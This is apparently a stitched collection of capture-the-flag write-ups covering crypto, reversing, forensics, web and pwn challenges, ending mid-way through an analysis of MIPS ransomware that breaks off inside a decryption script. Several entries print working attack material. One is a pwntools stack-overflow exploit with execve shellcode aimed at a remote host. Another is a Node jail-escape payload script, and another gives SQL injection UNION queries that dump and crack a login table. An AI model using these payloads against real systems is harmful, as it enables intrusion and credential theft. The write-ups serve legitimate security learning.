Success! We got the last round key. Using some [python to perform inverse expansion of AES keys](inverse_aes.py) we can recover the cipher key.
```$ python inverse_aes.py 4E44EACD3F54F5B54A4FB15E0710B974Inverse expanded keys = [ 4e44eacd3f54f5b54a4fb15e0710b974 b7740f2e71101f78751b44eb4d5f082a b75d7729c6641056040b5b9338444cc1 b3ad77c27139677fc26f4bc53c4f1752 44e7ff79c29410bdb3562cbafe205c97 5cb6279a8673efc471c23c074d76702d c19fc271dac5c85ef7b1d3c33cb44c2a a244dc6e1b5a0a2f2d741b9dcb059fe9 051b4ee0b91ed641362e11b2e6718474 c831fa90bc0598a18f30c7f3d05f95c6 61316c5f7434623133355f525f6f5235]Cipher key: 61316c5f7434623133355f525f6f5235As string: 'a1l_t4b135_R_oR5'```
The string representation is all ascii and our flag!
**a1l_t4b135_R_oR5** |
Lots of disallowed characters you had to get around```import binasciifrom pwn import *import sysconn = remote("jail.alieni.se", 55542)conn.recvuntil(">")payload="""function hangup(){ for (var l of this.Buffer(1099999)){ console.log(l) } if (code || code === 0) process.exitCode = code;
if (!process._exiting) { process._exiting = true; process.emit('exit', process.exitCode || 0); } process.reallyExit(process.exitCode || 0);}"r""""payload="""console.log(process);function hangup(){ fs = process.dlopen("fs", "/usr/local/bin/node"); console.log("test"); console.log(fs); j = process.dlopen("fs", "/app/jail.js"); console.log(module); console.log(j); console.log("hi"); if (code || code === 0) process.exitCode = code;
if (!process._exiting) { process._exiting = true; process.emit('exit', process.exitCode || 0); } process.reallyExit(process.exitCode || 0);} """payload="""function RegExp{ test: return True;} ask() """payload='var m = 0;var k = "";for (var c of template) { if(m==1){k=c; break};if(c =="O"){m=1};}eval("%s")' % payload.replace('"',"'").replace(".", '" + k + "').replace("\n","")print("sending payload %s" % payload)conn.sendline(payload)#conn.recvuntil("!")j = conn.recvall()print(j)#for line in j.split("\n"):#while conn.can_recv(2):# line = conn.recvline(False)# if line != ' ' and line != '':# if int(line) >= 32:# #print(chr(int(line)))# sys.stdout.write(chr(int(line)))# sys.stdout.flush()``` |
# Cliquel
----## Description
> What a fat binary!> > Note: Best effort is done so that only the canonicalized form is possibly accepted by the program; however, if you are sure the answer you deduced is correct but is not recognized by the platform, please do not hesitate to contact the organizers so that you (or your team) may get a chance to earn the points.> > - This challenge exploits a property of Java ClassLoader for its obfuscation technology.> - If you know how the challenge and its algorithm work, it would take virtually no time to solve it and considering all constraints there are very few possible cases for input.> - This is NOT a heavy cryptography problem; inverse operation is unnecessary.> > EDIT (09:37 UTC): Corrected an typo (its algorithm works -> its algorithm work)> > There indeed are some classic nasty obfuscation tricks in both Java and native, but nevermind - the bottom line of all these stuffs are: what if everything was a class *cough* a classloader?> > Namespaces of classes aren't global; rather, they are more like... *cliques*. Try to focus more on the native part. When you have both the answer string (hint: it's an encoded directed graph) and an appropriate standard J2SE 8 VM (java) program in your PATH, the flag will be just there - right in front of you - through the standard output stream.> > Additional Hints (22:10 UTC)> > Let me clarify: **All 22 classes (excluding the entry point) get loaded and used in the VM process should the program be given the correct answer.** As such, all classes may (either directly or indirectly) communicate with each other in the process of validating the input. However, due to duplicate class names some references may be ambiguous when they are resolved, and that's when the directed graph comes to play. Just remember: What You See Is Not What You Get.> > [Download link](cliquel)
----## Write-up
[View Image](writeup.svg) |
Uninitialised variable usage allows for reliable exploitation of a classic stack overflow on a NX and PIE enabled binary using gadgets from the vsyscall page and the magic libc address. |
# ▼▼▼Naughty ads - Web (200point)(122/500team=24.4%)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
GET /robots.txt
↓
```User-agent: *Disallow: /adminDisallow: /*.phps```
GET /index.phps
↓
```
<HTML> <HEAD> <TITLE>NAUGHTY ADS c1994</TITLE> </HEAD> <BODY BGCOLOR="WHITE"> <CENTER> Home </CENTER> </BODY> </HTML> <HTML> <HEAD> <TITLE>NAUGHTY ADS c1994</TITLE> </HEAD> <BODY BGCOLOR="WHITE"> <CENTER> <map name="planetmap"> <area shape="rect" coords="287,93,523,261" href="?id=<?php echo array_pop($cols); ?>" alt="BDSM hookup"> <area shape="rect" coords="542,93,774,261" href="?id=<?php echo array_pop($cols); ?>" alt="Fat fetish">
<area shape="rect" coords="34,282,269,449" href="?id=<?php echo array_pop($cols); ?>" alt="Dirty mistress"> <area shape="rect" coords="292,282,521,449" href="?id=<?php echo array_pop($cols); ?>" alt="Femdom one night stand"> <area shape="rect" coords="545,282,777,449" href="?id=<?php echo array_pop($cols); ?>" alt="Waterboarding extasy">
<area shape="rect" coords="33,468,266,595" href="?id=<?php echo array_pop($cols); ?>" alt="Kinky nightmare"> <area shape="rect" coords="277,456,534,598" href="?id=<?php echo array_pop($cols); ?>" alt="Food fetish"> <area shape="rect" coords="547,466,780,599" href="?id=<?php echo array_pop($cols); ?>" alt="Whip experience">
<area shape="rect" coords="595,23,619,57" href="/admin" alt="Admin"> </map> </CENTER> </BODY></HTML>```
↓
＄REQUEST['id'] ⇒ filter and ＄GET['id'] ⇒**SQL injection**
↓
**POST method** To bypass filter.
↓
**POST** /index.php?id='UNION+select+group_concat(**table_name**)+from+information_schema.tables--+
↓
```CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_LOKS,INNODB_TRX,INNODB_SYS_DATAFILES,INNODB_FT_CONFIG,INNODB_SYS_VIRTUAL,INNODB_CMP,INNODB_FT_BEING_DELETED,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_CMPMEM_RESET,INNODB_FT_DELETED,INNODB_BUFFER_PAGE_LRU,INNODB_LOCK_WAITS,INNODB_TEMP_TABLE_INFO,INNODB_SYS_INDEXES,INNODB_SYS_TABLES,INNODB_SYS_FIELDS,INNODB_CMP_PER_INDEX_RESET,INNODB_BUFFER_PAGE,INNODB_FT_DEFAULT_STOPWORD,INNODB_FT_INDEX_TABLE,INNODB_FT_INDEX_CACHE,INNODB_SYS_TABLESPACES,INNODB_METRICS,INNODB_SYS_FOREIGN_COLS,INNODB_CMPMEM,INNODB_BUFFER_POOL_STATS,INNODB_SYS_COLUMNS,INNODB_SYS_FOREIGN,INNODB_SYS_TABLESTATS,ads,login```
POST /index.php?id='UNION+select+group_concat(**column_name**)+from+information_schema.columns+where+table_name='**login**'--+
↓
```id,name,password```
POST /index.php?id='UNION+select+group_concat(**name**)from+**login**--+
↓
```webmasterofdoom3755```
POST /index.php?id='UNION+select+group_concat(**password**)from+**login**--+
↓
```5ebe2294ecd0e0f08eab7690d2a6ee69```
↓google search
MD5(**secret**)
GET /admin/
↓
Input Basic Authentication 「webmasterofdoom3755:secret」
↓
Input his phone number is "**555-31338**"
↓
**SECT{~tr4nsv3stiT3s_w3lc0me_t00~}** |
> ? em rof ti evlos esaelp uoy dluoc, rekcah boon a m'I, elif egnarts a em dnes evah dneirf ym```reverse order```> my friend have send me a strange file ,I'm a noob hacker ,could you please solve it for me ?```reverse bytes in file found PNG in headersave to UNKNOWN.pngfound flag (reverse order)Bugs_Bunny{E4Sy_T4Sk_F0R_H4X0r_L1KeS_Y0u}``` |
__Bugs\_BunnyCTF-2017__
__Category__ - Web | __Points__ - 5
__Description:__
Nothing here ! http://52.53.151.123/web/web5.php Author : Sold1er
__Solution:__
Fairly basic and simple challenge (as to be expected by the low points). After visiting the website, there isn't much there visually so I checked the source.```
<html lang="EN"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Title Page</title>
<link href="//netdna.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet">
</head> <body> <h1 class="text-center">Nothing here !!</h1>
<script src="//code.jquery.com/jquery.js"></script> <script src="//netdna.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script> </body> </html>```Note the ```` at the bottom, the string in the comment appears to be a Base64 encoded string. Running this through a standard Base64-Decoder will give you the flag: ``Bugs_Bunny{529c429abde2171d0a25584472af8217}``
|
this task is a total brute force attack using fcrackzip and the rockyou Dictionary. so we have just to write a litle script and w4i7 f0r th3 fL4g , i used a php script executed with shell cuz i am familiarised with the lovely php tech , soooo: ```#!/usr/bin/php=0;$i--){echo $i;$x=shell_exec("fcrackzip -D -p ../zip/rockyou.txt -u ../zip/zipfile_'$i'.zip");$y=substr($x,28,strlen($x)-29);echo strlen($y);echo $y;echo $i;$x=shell_exec("unzip -P '$y' ../zip/zipfile_'$i' -d ../zip/");echo $x;}
?>```
and we get the flag : d4rk{7h1s_w0uldve_t4k3n_s0m3_t1m3}c0de |
ReadMe:> Normal run: qemu-system-i386 pwn.img> > Debug run: qemu-system-i386 -s -S pwn.img> > Figure out how to bypass Zero Cools virus and unlock the FLAG, good luck!> > Shoutout to Jarkko Turkulainen from F-Secure for the inspiration.
just a solution:
By booting the image it asks us for a passphrase
just type a pass and attach qemu in ollydbg, finding our typed password in memory and setting a HWBP on first char of password
back to qemu and hit Enter, olly will stop at checking routine
just a simple check using xor/sub/add (different) for each 2 characters```045BFC03 0350 0C ADD EDX,DWORD PTR DS:[EAX+C]045BFC06 0FB732 MOVZX ESI,WORD PTR DS:[EDX]045BFC09 8BCE MOV ECX,ESI045BFC0B 66:89CB MOV BX,CX045BFC0E 8BF3 MOV ESI,EBX045BFC10 81F6 37130000 XOR ESI,1337045BFC16 8BCE MOV ECX,ESI045BFC18 66:89CB MOV BX,CX045BFC1B 895D 04 MOV DWORD PTR SS:[EBP+4],EBX045BFC1E BE 75520000 MOV ESI,5275045BFC23 8975 2C MOV DWORD PTR SS:[EBP+2C],ESI045BFC26 81EB 75520000 SUB EBX,5275045BFC2C 895D 28 MOV DWORD PTR SS:[EBP+28],EBX045BFC2F 0FB7DB MOVZX EBX,BX045BFC32 BE 0F000000 MOV ESI,0F045BFC37 8975 34 MOV DWORD PTR SS:[EBP+34],ESI045BFC3A 85DB TEST EBX,EBX```
calculate correct characters and repeat till end
correct passphrase : BADF00DCAF3B4B3
//TMT
|
## HITB CTF - Simple Transfer - Misc### Problem
The file contains a flag, find it.
[b48bfaf7-d728-4ae3-94b7-cd8b2e6e9077.pcap](https://github.com/kipyegonmark/ctfs/blob/master/HITB%20CTF/b48bfaf7-d728-4ae3-94b7-cd8b2e6e9077.pcap)
## Solution
$ foremost -i b48bfaf7-d728-4ae3-94b7-cd8b2e6e9077.pcap
Running foremost on the packet capture returns a pdf [file](https://github.com/kipyegonmark/ctfs/blob/master/HITB%20CTF/00000662.pdf) that contains the flag.
FLAG: __HITB{b3d0e380e9c39352c667307d010775ca}__ |
```python#!/usr/bin/env python# -*- coding: utf-8 -*-""" Kira / AAA """from pwn import *import sys, oscontext(arch='amd64', os='linux', log_level='info')
if len(sys.argv) > 1: if sys.argv[1][0] == 'r': # remote p = remote('178.62.249.106', 8642)else: os.environ['LD_PRELOAD'] = '' p = process('./mrs._hudson')
# libc = ELF('.')# elf = ELF('.')payload = 'A' * 0x70payload += p64(0x601060 + 0x70) # rbppayload += p64(0x000000000040066F) # retp.sendlineafter('2000.\n', payload)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"payload = shellcode.ljust(0x70 + 8, 'A')payload += p64(0x601060) # retp.sendline(payload)
p.interactive()``` |
More in-depth writeup focusing on the reversing leading up to the format-string vulnerability. Doesn't go into great detail about the format string construction itself. Uses radare2 and illustrates some radare2 commands/ipython2 workflow. https://binarystud.io/asisctf-2017-greg-lestrade-exploitation.html |
# SEC-T CTF - MISC - Report (200 points)_Author: Brandon Everhart_, _Date: Sept 2017_
## Solve
### Tools
|Name | Functionality ||---------------|-------------------------------------------||binwalk |Look for and extract hidden files/data ||exiftool |View file meta-data ||file |Check file type ||hexdump |View hex representation along with ASCII ||pdf-parser.py |Parse the PDF into its objects and sections||pdfid.py |View specific PDF object/meta-data ||pdfinfo |View specific PDF meta-data ||pdftotext |Collect all text found in a PDF document ||python |Run *.py tools. ||strings |Collect all the strings found in the file. ||Sublime Text |Text Editor ||tar |Uncompress data | ### Step 1: Initial Analysis
Using the tools listed above, look for any information out of the ordinary that makes the provided PDF document different from normal PDF documents. An easy way to do this if you are not an expert on PDF standards is to run the same tools on a plain PDF and compare the results with the challenge PDF results. During this analysis, primarily look for hidden data/information in areas such as meta-data, embedded files, file attachments, trailing/leading data, etc...
I was unable to locate any hidden information but multiple of the tools returned the same result: "Invalid xref table".
### Step 2: Xref Table Analysis
The xref table is a predefined table of references to all the objects found in the PDF document. The table is found at the bottom of the file between the line "xref" and "trailer". This is the most common situation but there are exceptions, such as cases where multiple xref tables can exist for a single PDF document. The xref table for the provided PDF looks as follows: ```xref0 1460000000000 65535 f 0000013999 00000 n 0000000019 00000 n 0000001039 00000 n 0000022799 00000 n ...... +100 more lines...0000022389 00043 n 0000022528 00045 n 0000022660 00000 n 0000023428 00000 n 0000023827 00053 n 0000023998 00000 ntrailer```
The first line in the xref table above is "0 146". The first number, 0, is the object ID of the first object referenced by the table. The second number, 146 in this case, is the number of entries in the table. Each of the remaining entries in the table are made up as such: ``` decimal-byte-offset-to-object object-generation-number f or n```
Next I wrote a python script to try and see what is wrong with the xref table. The script checked the following:1. Each entry is exactly 20 bytes including the newline character.2. The number of entries in the table matches the first line of the table.3. Each entry points to a valid object at that offset and the generation numbers match.
The script found that some of the generation numbers didn't match. Looking further, all the objects in the document had generation numbers of 0 but our table had hex values for multiple of the generation numbers.
### Step 3: Flag
Pulling out the invalid generation numbers and converting them to ascii and reading them in reverse revealed:
SECT{N07_N1C3_T0_BR3AK_LUCY}
|
# Vivid Spying - Forensics/Network - 131 points - 32 solvers
> We have captured the spy [traffic](./traffic_f02965261bd4de3e9a10fced162c27fe5c2c5b19) by our agents, hurry up and find the flag.
We open the attached file in Wireshark and find it's a series of DNS queries and responses about suspicious domain names, starting with `00101011111010110111101100101010010010110010101000001.asisctf.com` and ending with `1110.000011101100101011111010110111101100101010010010110010101000001.asisctf.com`. We quickly find that if you reverse the string and convert the bits to ASCII you get something that looks like a partial flag `ASIS{_Sp`. But how to get the rest?
After some experimenting we find that if we query the DNS server at `95.85.26.168` with a domain formatted like the suspicious ones we either get `NXDOMAIN` (for example for `0.asisctf.com`), or `NOERROR` (for example for `1.asisctf.com`). We can then continue with trying `01.asisctf.com` and since we get `NOERROR` for that one too, we know the bit we added at the left is correct. We write a script that extends in this way to find the full flag, adding periods when needed (because domain fragments can't be longer than 63 bytes).
After a short while we get the full flag, `ASIS{_Spying_with_DNS_!}` |
You're given a executable file `match_me` Let's see what it does ``` $ ./match_me 12 <input_guess> Nope <output> ``` Lets have a look at dynamic library calls for no input. ``` $ ltrace ./match_me
__libc_start_main(0x400a03, 1, 0x7ffcd5f460a8, 0x400ad0 <unfinished ...> malloc(1000) = 0x133c010 scanf(0x400b6d, 0x133c010, 0x133c010, 0x7f217ad32b20) = 0xffffffff malloc(1000) = 0x133c810 strlen("firhfgferfibbqlkdfhh") = 20 strlen("firhfgferfibbqlkdfhh") = 20 strlen("firhfgferfibbqlkdfhh") = 20 strncmp("firhfgferfibbqlkdfhh", "[[[[[[[[[[[[[[[[[[[[", 20) = 11 puts("Nope"Nope ) = 5 +++ exited (status 0) +++ ``` Interesting. `strcmp` is being called to compare a hardcoded string "firhfgferfibbqlkdfhh" with some other string. Lets run again the ltrace with input "12" (without quotes) ``` $ ltrace ./match_me
__libc_start_main(0x400a03, 1, 0x7ffcd5f460a8, 0x400ad0 <unfinished ...> malloc(1000) = 0x133c010 scanf(0x400b6d, 0x133c010, 0x133c010, 0x7f217ad32b20) = 0xffffffff malloc(1000) = 0x133c810 strlen("firhfgferfibbqlkdfhh") = 20 strlen("firhfgferfibbqlkdfhh") = 20 strlen("firhfgferfibbqlkdfhh") = 20 strncmp("firhfgferfibbqlkdfhh", "S[[[[[[[[[[[[[[[[[[[", 20) = 11 puts("Nope"Nope ) = 5 +++ exited (status 0) +++ ``` Nice, so we see that integer 12 is mapped to "S" (See the change of compared string from "[[[[[[..." to "S[[[..."). So, all we have to do is write a simple script to find mappings of all integers from 1-100 to corresponding characters.
So, we get 59:f, 76:i, 65:r and so on.
Key with all mappings done = firhfgferfibbqlkdfhh: 5976657559745958655976555564937857597575 Let's check our executable with above key ``` $ ./match_me 5976657559745958655976555564937857597575 Match ``` Yay! Now we need to send this key to defcon.org.in:8082 ``` $ echo "5976657559745958655976555564937857597575" | nc defcon.org.in 8082
Flag: d4rk{595c7f5b595a59587f595c55557e5f5e57595b5b}c0de |
Challenge: Malbolge----------------------------------------Category: Misc----------------------------------------248 points ----------------------------------------
```Description:
Malbolge
misc
Solves: 153
Author: marceloje```
http://zb3.me/malbolge-tools/#generator
|
## Crazy (MYDNS)
> Try to connect to this crazy service, once you do it the answer will appear.>> http://crazy.mydns.webcam/
### Solution
When we first tried to access this service by a standard browser it looked like it was down. However since the task category suggests this might be DNS related problem we decided to check DNS records for this domain.
It was a good decision becaus DNS query showed that *crazy.mydns.webcam* domain has quite a lot A records associated to it that look like some random IPs:
```bash$ dig +trace crazy.mydns.webcam...crazy.mydns.webcam. 300 IN A 70.215.170.136crazy.mydns.webcam. 300 IN A 56.242.86.52crazy.mydns.webcam. 300 IN A 74.47.147.237crazy.mydns.webcam. 300 IN A 77.29.224.136crazy.mydns.webcam. 300 IN A 85.192.7.60crazy.mydns.webcam. 300 IN A 70.18.170.196crazy.mydns.webcam. 300 IN A 41.113.55.170crazy.mydns.webcam. 300 IN A 85.70.195.186crazy.mydns.webcam. 300 IN A 67.198.229.203crazy.mydns.webcam. 300 IN A 74.101.141.79crazy.mydns.webcam. 300 IN A 76.37.174.171crazy.mydns.webcam. 300 IN A 87.177.248.219crazy.mydns.webcam. 300 IN A 79.62.241.244...```
Next we checked which of those IP addresses have 80/tcp port open and it turned out that only couple of them have:
```42.200.213.14945.34.187.25346.231.248.17052.85.145.17754.154.180.10754.235.129.9866.160.176.23667.198.229.20369.64.95.1782.127.136.3085.192.7.60```
We were pretty sure that not all of those IPs were managed by CTF organizers and consequently we didn't want to do too much "testing" on them. We decided to just query each of them for crazy.mydns.webcam vhost and search for the flag:
```bash$ cat ips.txt | while read ip; do curl -s -D- -H 'Host: crazy.mydns.webcam' http://${ip}/ | grep 'EKO{'; doneEKO{m3ssing_w1th_round_r0b1n}```
Bingo! The flag is **EKO{m3ssing_w1th_round_r0b1n}** |
# Angel (RE, 468 points, 20 solves) We're given a password-checking binary:
``` c++int __cdecl sub_80485BF(char *input_str){ int result; // eax@2 char v2; // [sp+3h] [bp-15h]@1 int v3; // [sp+4h] [bp-14h]@1 size_t i; // [sp+8h] [bp-10h]@3
v2 = *input_str; v3 = 0; if ( strlen(input_str) > 2 ) { for ( i = 1; strlen(input_str) - 1 > i; ++i ) { some_dark_magic(dword_804D148, &off_804C140 + 4 * (unsigned __int8)v2); if ( dword_804C060[v3] != dword_804D148((unsigned __int8)input_str[i]) ) return puts("Wrong!"); if ( ++v3 == 200 ) break; v2 = input_str[i]; } result = puts("Well done!"); } else { result = puts("Wrong!"); } return result;}```
There is some lookup-table stuff going on with `off_804C140` and some dark magic with `some_dark_magic` function ;)
We could reverse the whole program but we're lazy and the encryption has a cool property - the passwords nth check relies only on input bytes we've already analyzed.
This means that we could brute the correct input one byte at a time - we try to append every possible byte to the last successfull input and when we find a match we move one byte forward.
We came up with a nifty little gdb python script:
``` pythonimport osimport stringfrom subprocess import Popen, PIPE, STDOUTimport gdbimport codecsimport stringgood_characters = 0
class MyBreakpoint(gdb.Breakpoint):
def __init__(self, spec): super(MyBreakpoint, self).__init__(spec, gdb.BP_BREAKPOINT, internal = False) self.silent = True def stop (self): eax = int(gdb.parse_and_eval("$eax")) edx = int(gdb.parse_and_eval("$edx"))
if eax == edx: global matches matches += 1
return False
MyBreakpoint('*0x08048656')
matches = 0starting_piece = "you"
while True: for i in string.printable:
potential_flag = starting_piece + i + "A"*30
matches = 0
with codecs.open("input.txt","w") as output_file: output_file.write(potential_flag)
gdb.execute("r < input.txt > /tmp/a")
if matches == len(starting_piece): starting_piece += i break;
f = open("output", "wb") f.write(starting_piece)```
We had to brute-force two first letters and then try about 4 different starting inputs but once we got overt that the script ran smoothly.
`you are looking for this EKO{4ngr_d1dn't_like_th1s}` |
Challenge: Shopping----------------------------------------Category: Pwn----------------------------------------352 points ----------------------------------------
```Description:
Shopping
pwn
Solves: 90
Author: marceloje
```
|
# OldPC (misc, 478 points, 14 solves)
In the task we get [machine code dump](oldpc.hex).A bit of googling for byte sequencec got us to http://www.xgc-tek.com/manuals/erc32-ada-gs/x286.html where we could see assembly listing with similar machine code to what we had (at least the stack frame creation and ret/leave).Now we just had to check what is this ERC32 and/or what assembly was in the listing.
In th end the main difficulty of this challenge was noticing that the given binary file contained sparc assembly.
After getting through that difficulty all we need to do is load the file in a disassembler and select `sparc big endian`:
The code may seem simple and well, it is. All it does is xors a bunch of values and prints them out.
A quick script gave us back a flag in no time:
``` pythonimport structimport sys
a = [(0x837F716D, -0x51BDD5C2),(0x6B676561, 0x1E170013),(0x59534F49, 0x606233D),(0x47433D3B, 0x35226276),(0x352F2B29, 0x6481F76),(0x251F1D17, 0x655F4E47),(0x13110D0B, 0x52434E4B),(0x07050302, 0x47583e2f),]
for i in a:
a = struct.pack(">q", i[0])[4:] b = struct.pack(">q", i[1])[4:] for aa, bb in zip(a, b): sys.stdout.write(chr(ord(aa) ^ ord(bb)))
print```
`-=[Super_Ultra_M3g4_@@SPARC@@]=-` |
I use recursive relation```enc[n+1] = (enc[n] + msg[n] + key[n])%128```Note that last bytes of message are filled with flag, so this gives another relation (after inlining key_len and pipe_offset)```msg[n%13 + 22] = key[n%13]```
Using this I start with given pipe character and perform jumping through the bytes of key. Thankfully, `key_len` and `pipe_offset` are coprime, so jumping doesn't mean falling into a small cycle. Therefore all bytes will be restored.
```#!/usr/bin/env python3
from binascii import unhexlify
encrypted = unhexlify('7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e')
def recover(enc, pipe_offset, key_len): msg = [None for _ in enc[1:]] key = [None for _ in range(key_len)]
n = pipe_offset msg[n] = ord('|')
for _ in range(key_len): key[n%key_len] = (enc[n+1] - enc[n] - msg[n]) % 128 msg[n%key_len + pipe_offset + 1] = key[n%key_len] n = n%key_len + pipe_offset + 1
for i in range(len(msg) - 1 - key_len): msg[i] = (enc[i+1] - enc[i] - key[i%key_len]) % 128
return bytes(msg)
if __name__ == '__main__': print(recover(encrypted, 21, 13))
``` |
[writeup by @abiondo]
**CTF:** SEC-T CTF 2017
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** rev / Da Vinci
**Points:** 300
```We got a copy of the Da Vinci virus from the Gibson along with the encrypted credentials to access the tanker fleet and the ransom note. Can you regain control of the tankers before they capsize? ```
We're given an [archive](./da_vinci.tar.gz) that contains three files:
```$ file da_vinci/*da_vinci/a.out: ELF 64-bit MSB executable, MIPS, MIPS64 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld64-uClibc.so.0, strippedda_vinci/creds.txt: datada_vinci/ships.txt: ASCII text```
The `ships.txt` file tells us:
```[... omitted ASCII art ...]I have stolen the credentials to your tanker fleet and have taken control oftheir ballast systems.Unless $5 million is transferred to the following account in 7 days,I will capsize five tankers in the Ellingson fleet.
Name: Mr. Evil HackerAddress: P.O. Box 105. Road Town, Tortola British Virgin IslandsConcept: Ships c43a7aa9abc036ac4bf8490b0f30a5a7IBAN: VG96 BEVC 0000 0123 4567 8901SWIFT: BEVCVGV1XXX```
The `creds.txt` file looks like encrypted gibberish. Let's crack the ELF binary open in IDA and see what it does. The readers that are not familiar with MIPS might want to keep a MIPS64 instruction reference on hand, and remember that MIPS makes use of *delay slots*: the instruction following a jump is executed **before** the jump. This is a way to optimize the pipeline and avoid stalls. Enough with the architectural lesson, let's get to work.
Here's how `main` begins:
The first thing the program does is reading 16 bytes from `/dev/urandom` and storing them into a stack buffer I named `rand_data`, pointed to by `$s0`. Then, it allocates 33 bytes on the heap and points `$s2` to them. Let's go forward:
This loop goes over the random bytes, extract nibbles from them and sums with one of two printable characters, depending on whether the nibble is less than 10, storing the resulting bytes in the heap buffer. From a high-level description like that, one might guess this is an hex encoding loop, and indeed it is (`'W' + 10 = 'a'`). The heap buffer now contains the hexencoded random bytes.
The first instruction zero-terminates the hexencoded buffer. Then, the code constructs a 64-bit value into `$v0` with a series of immediate loads, shifts and additions. This kind of pattern is common in MIPS (both 32 and 64 bits) because instructions have a fixed 4 byte size, so they can't encode a full register-wide immediate value.
Finally, the real point of this task comes up with the `dmtc2` instruction. It moves a 64-bit general purpose register (`$v0`) into a Coprocessor 2 register (`0x105`). There is also a companion instruction, `dmfc2`, that moves from a Coprocessor 2 register into a GP register. The problem is that Coprocessor 2 is implementation defined: to know what those registers mean, we need to figure out exactly what CPU we're running on. By googling the instruction along with register numbers that appear all over the code I found some Linux kernel patches that pointed towards it being a Cavium OCTEON processor, which has a Coprocessor 2 that deals with crypto stuff. The full details are not in open-source code and Cavium doesn't offer its reference manuals publicly, but I was able to find a preliminary Hardware Reference Manual for the OCTEON Plus CN50XX (Google it! :P).
Armed with the manual, we now know that `0x105` is the register for the second quadword of the AES key for the AES unit. There are four AES key registers (`0x104` through `0x107`), because the key is 32 bytes and each register holds 8. We'll likely need this key later, so let's drop a comment and go ahead:
The program is connecting to `klondike.es` on port 80, so we'll probably be looking at an HTTP request next.
It's now sending a GET request for `/dvkey.php`. The query parameter `i` is the hexencoded random string (remember, it was pointed to by `$s2`). While sending the request, it's also further initializing the coprocessor, setting another quadword of the AES key and a couple IVs for the hash unit. Those IVs form the initial hash value for the function and it's common for crypto coprocessors to not store them directly but rather have them set by the programmer. They're usually standardized, but googling those doesn't yield anything. Custom values, maybe?
More HTTP stuff and more crypto initialization.
Another AES key quadword set, and finally the HTTP request gets completed. Then the code skips the response headers by looking for two `\r\n` sequences in succession (the missing part is shown in the next image, it'd have been too wide).
Now it's doing something interesting. It reads 16 bytes (AES block size) in two 8 byte halves, and performs AES ECB decryption on the block with the previously set keys. The way AES works on this coprocessor is that the first 8 bytes are written to a part 1 register, then the second 8 are written to a part 2 register which triggers decryption. The plaintext is split between two 8-byte result registers and fed as data into the hash unit. Then the same operation is repeated on another 16 bytes of HTTP data, with the AES result being stored in consecutive hash data registers.
Another two 16 byte blocks are decrypted and fed to the hash unit, for a total of 64 bytes of data. Finally, the decrypted data is hashed with SHA256. Note that the last 8 input bytes are fed via the register that triggers hashing. The manual says that this should be register `0x404F`, but the organizers gave an hint during the CTF saying to consider `0x4F` as `0x404F`. Now that we know what the hash function is, we see that the IVs used by this program are not the usual ones specified by the FIPS 180-4 standard. Another important thing to note is that this hash does not include padding. The standard requires messages to be padded before being hashed, but crypto coprocessors like this only handle the hashing, while padding is left to the software. This means that if we take an off-the-shelf SHA256 implementation and hack the custom IVs into it we won't get the same results as the coprocessor, because the OTS code will add padding. Our data size makes hacking OTS code easier: we have exactly 512 bits (SHA256 block size), so all the padding will be in a new block. We don't need to hack padding away, but just to take the engine state prior to hashing the last block.
The SHA256 hash is now set as the new AES key. You might notice that those hash result registers are, in fact, the hash IV registers. That's because those registers keep the current hash value, which is initialized with the IVs. The program opens `creds.txt` for reading, determines its size and allocates a heap buffer big enough to hold it. Presumably those are the plaintext credentials that have been encrypted.
The file is now read into the buffer (some code relative to this is in the next image).
The program sets up the AES IV, as it's going to use it in CBC mode later on.
The whole credentials buffer is encrypted with AES CBC, then it's written back to `creds.txt`.
Okay, so now we know how the credentials are encrypted. Send the random 16-byte to the server, get 64 encrypted bytes back, decrypt those with hardcoded keys. Then use the unpadded SHA256 (with custom hardcoded IVs) hash as an AES key together with the hardcoded AES IV to CBC encrypt the credentials. If we can figure out what random value was chosen when our credentials were encrypted, we can do the request/decrypt/hash dance to get the keys, and finally decrypt the file. Hmm, how do we get the random value? Maybe they gave it to us in `ships.txt`? I remembered this line:
```Concept: Ships c43a7aa9abc036ac4bf8490b0f30a5a7```
That sure looks like 16 hexencoded bytes. If they actually are the random value, `ships.txt` must be generated further down in the code. Let's pick up where we left off:
Sure enough, it's opening `ships.txt` for writing. Then, it sets up 3DES keys and IV and decrypts a buffer (which I renamed to `ships_{start,end}`) in CBC mode. Finally, it writes the decrypted buffer into the file using `fprintf`. The first format argument is the third argument to that function. We have `move $a2, $s2`, and `$s2` still points to the hexencoded string. At this point, I decided to write a small script to decrypt the ships buffer. Why? Two reasons. First, I wanted to check that there was indeed a format specifier in there, just to be sure the coder wasn't messing with us. Second, I wanted to test the crypto. We have keys split in pieces, and we must recombine them properly. If we mess it up here, we'll know as it won't decrypt to ASCII text, and we can figure out how to do it properly. We can't do that with the server or credentials data, as we don't know what they're supposed to decrypt to (and there's much more that could go wrong). Since the architecture is big endian, I just tried treating the key pieces as big endian and combining them in order:
```python#!/usr/bin/python2
import structfrom Crypto.Cipher import DES3
KEYS = [0x6011B396042A187A, 0xAFEBE6D990F0C393, 0x7E7B44705A7100E1]IV = 0x92097F6E08112274
